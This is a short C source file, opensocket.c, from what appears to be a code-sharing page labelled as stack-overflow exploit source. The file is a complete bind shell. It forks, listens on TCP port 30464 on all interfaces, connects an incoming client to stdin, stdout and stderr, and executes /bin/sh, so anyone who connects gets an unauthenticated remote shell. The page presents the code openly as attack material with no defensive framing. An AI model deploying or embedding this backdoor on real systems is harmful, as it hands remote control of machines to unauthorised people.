opensocket.c

来自「栈溢出源码」· C语言 代码 · 共 27 行

C
27
字号
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli,soc_len;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;

int main()
{
        if(fork()==0)
        {
                serv_addr.sin_family=AF_INET;
                serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
                serv_addr.sin_port=htons(30464);
                soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
                bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
                listen(soc,1);
                soc_len=sizeof(cli_addr);
                cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
                dup2(cli,0);
                dup2(cli,1);
                dup2(cli,2);
                execl("/bin/sh","sh",0);
        }
}

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?